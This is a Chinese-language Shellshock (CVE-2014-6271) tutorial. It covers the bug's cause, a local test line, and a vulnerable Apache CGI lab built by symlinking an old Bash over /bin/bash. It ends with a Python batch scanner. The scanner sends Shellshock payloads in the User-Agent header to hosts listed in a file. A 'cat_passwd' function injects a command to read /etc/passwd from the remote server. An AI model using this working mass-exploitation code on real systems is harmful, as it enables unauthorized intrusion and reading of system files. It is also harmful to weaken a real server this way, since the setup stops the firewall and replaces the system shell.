Bash Shellshock(CVE-2014-6271)破壳漏洞测试

0x01 漏洞原理

Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后，Bash执行并未退出，而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断。

0x2 Bash破壳漏洞测试

2.1 本地测试语句：

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

输出：

vulnerable

this is a test

说明有漏洞，否则就没有。

2.2 漏洞复现：

2.2.1 安装配置:

Centos6 Apache2.2 CGI

yum install httpd

service iptables stop

httpd.conf配置



1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin，

ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

让这个目录下都支持cgi

2、582行修改Options

<Directory "/var/www/cgi-bin">

    AllowOverride None

    Options ExecCGI

    Order allow,deny

    Allow from all

</Directory>

3、796行添加访问后缀，当其被访问能被解析

AddHandler cgi-script .cgi .pl .sh

4、200行需要有cgi模块

LoadModule cgi_module modules/mod_cgi.so

POC.cgi放置到cgi-bin,具体内容如下：

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo '<html>'

echo '<head>'

echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'

echo '<title>PoC</title>'

echo '</head>'

echo '<body>'

echo '<pre>'

/usr/bin/env

echo '</pre>'

echo '</body>'

echo '</html>'

2.2.1 Bash配置：

下载Bash之后，因为apache默认调用的是/bin/bash，没有漏洞。所以要通过软链接调用存在漏洞的Bash

$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

$ tar xf bash-4.1.tar.gz

$ cd bash-4.1

$ ./configure

$ make & make install

$ ln -s /usr/local/bin/bash /bin/bash

2.2 批量测试

# -*- coding:utf8 -*-

import urllib.parse

import urllib.request

import ssl

import re

import sys

from socket import timeout

import http.client    #修改引用的模块

import os

domain_list = []

result = []

#读取文件函数

def read_file(file_path):

    # 判断文件路径是否存在，如果不存在直接退出，否则读取文件内容

    if not os.path.exists(file_path):

        print('Please confirm correct filepath ! ')

        sys.exit(0)

    else:

        with open(file_path, 'r') as source:

            for line in source:

                domain_list.append(line.rstrip('\r\n').rstrip('\n'))

def bash_exp(url):

    hostname, urlpath = urllib.parse.urlsplit(url)[1:3]

    try:

        conn = http.client.HTTPConnection(hostname, timeout=20)

        headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'}

        conn.request("GET", urlpath, headers=headers)

        res = conn.getresponse()

        if res and res.status == 500:

            print("{host} : discover Vulnerable! ".format(host=hostname))

            result.append(hostname)

        else:

            print("{host} :No Bash Vulnerable! ".format(host=hostname))

    #except Exception, e:

    except Exception as e:

        print("{host} is {err}".format(host=hostname,err=e))

def cat_passwd(hostname, urlpath):

    print("cat /etc/passwd :")

    conn3 = http.client.HTTPConnection(hostname, timeout=20)

    headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}

    conn3.request("GET", urlpath, headers=headers3)

    res3 = conn3.getresponse()

    res = res3.getheaders()

    for passwdstr in res:

        print(passwdstr[0] + ':' + passwdstr[1])

if __name__ == '__main__':

    read_file(os.getcwd()+"//attck.txt")

    for domain in domain_list:

        test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)

        bash_exp(test_url)

    for ret in result:

        with open("result.txt","a+") as file:

            file.write(ret)

2.3 参考

https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/

https://www.freebuf.com/news/48331.html

https://blog.****.net/yaofeino1/article/details/55211993

https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/

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